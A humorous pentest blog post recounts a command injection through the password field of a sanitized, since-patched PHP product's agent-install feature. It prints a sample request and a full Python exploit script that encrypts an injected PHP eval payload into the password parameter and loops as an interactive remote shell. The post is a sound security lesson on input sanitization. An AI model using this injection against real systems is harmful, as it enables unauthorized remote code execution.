The Legendary Command Injection via Password

By Tim MalcomVetter, Chris Bellows ·

When you work with a talented team of penetration testers, after a while only the most noteworthy vulnerabilities stand out in the collective memory of the team. Chris has found more than one of those, but one exploit in particular has resurfaced in team discussions for over a year. The story of this exploit has taken on a life of its own, growing in its embellishment to near-legend status within the team. Against his better judgment, Chris has allowed Tim to help ground this story to reality and record it once and for all. Since this story involves Chris exploiting a commercial product on behalf of a client, all of the identifiable aspects of the product have remained in their embellished sanitized state to preserve the vendor’s innocence, even though the product has long since been patched.

The product in this legend has a web interface, written in PHP. Among its many features is the ability to install an “agent” application on remote computers. This specific feature was Chris’s target, particularly a request similar to the following, which demonstrates sending credentials with administrative access to a remote computer (note the parameters “cmd=Install” and “tool=PSEXEC” which imply that the server is executing a system call with these values): 

POST /php/Deploy/Step1.php HTTP/1.1
HOST: example.com
Connection: keep-alive
Accept: */*

cmd=Install&domain=example&tool=PSEXEC&user=user1&password=ebZFmT1KfECjqWrJOz78QJSXGFgMwIo9H0uNgzS5SrcMsF8QqFZoEX%2FWP2GmY749Qx6d6PBzEYUP%0ARhWP6voLIMSxYJFsWfqnUXevx5QxZ0xydCgKri2QPFj2pd[…snip…]

This is the point where, over the course of a year, the story expanded from myth to legendary status. The heroic protagonist in our oral tradition, Chris, reset the service account’s password using a command injection payload as the password value, which implies Chris reset the credential numerous times as the payload was tweaked to perfection (or perhaps he got the payload perfect on his first try, as some versions of the story suggest). Thus, the legend implies that the application required the credentials to be authenticated against Active Directory before initiating the vulnerable system call. 

A dozen archivists with dual master’s degrees in library science and archaeology were summoned to locate and corroborate the original report with Chris’s findings. Eleven of them never returned. A search party located the twelfth archivist, however, clutching a copy of Chris’s python script (awesomeness turned down a few notches sanitized, of course):

#!/usr/bin/python
import urllib2,urllib,base64,HTMLParser,re,readline,sys
from M2Crypto import BIO, RSA
 
try:
        print '[*] Grabbing the servers public key'
        pkey = urllib2.urlopen('https://example.com/Auth.pub').read()
except:
        '[!] Error grabbing the public key - check the server manually'
        sys.exit()
 
try:
        print pkey
        print '[*] Got the key, time for fun - Ctrl-c to exit'
        while(True):
                #build encrypted message
                msg = 'aa" & php -d allow_url_include=1 -r \"eval(base64_decode(\'%s\'));\" &' % base64.b64encode(raw_input('# '))
                print msg
                bio = BIO.MemoryBuffer(pkey)
                rsa = RSA.load_pub_key_bio(bio)
                payload = rsa.public_encrypt(msg,RSA.pkcs1_padding)
                #encode payload for use
                payload = urllib.quote(base64.b64encode(payload))
                print payload
                #execute on server
                data='cmd=Install&domain=example&tool=PSEXEC&user=user1&password='+payload
                res = urllib2.urlopen('https://example.com/Install.php',data).read()
                #clean up response
                hparse = HTMLParser.HTMLParser()
                res = hparse.unescape(res)
                res = re.findall('<type>error</type><name>FAILED:(.*)Process Created, ProcessID',res,re.DOTALL)[0]
                print res
except KeyboardInterrupt:
        print '[*] Exiting'
        sys.exit()
except:
        print sys.exc_info()
        sys.exit()

While complaining about Chris’s refusal to adopt the Dewey Decimal System, the twelfth archivist also recovered this mockup of the user interface depicting a password error that Chris had to bypass:

Sadly, this evidence refutes the legend’s claim that the command injection via password must first authenticate against the client’s Active Directory, reminding us of the line from the 1980s movie, the Goonies: “Okay, Michael Jackson didn’t come over to my house to use the bathroom … but his sister did!

Perhaps there is an application in existence that has command injection via the password field and the password must satisfy Active Directory authentication prior to execution. Sadly this one did not, so the keepers of the legends hereby demoted this story to myth status. Although, it is still a very cool exploit that will likely find its way back into our team conversation.

Looking at the python script above, you can see Chris was able to invoke a shell and execute commands arbitrarily. The following is mocked up output:

 

Despite no longer being a legend, this great story continues to illustrate the importance of sanitizing all of your inputs, even your passwords.

Chris Bellows

Senior Security Consultant

Chris Bellows is a security consultant with Optiv's application security team. His focus is on attack and penetration testing.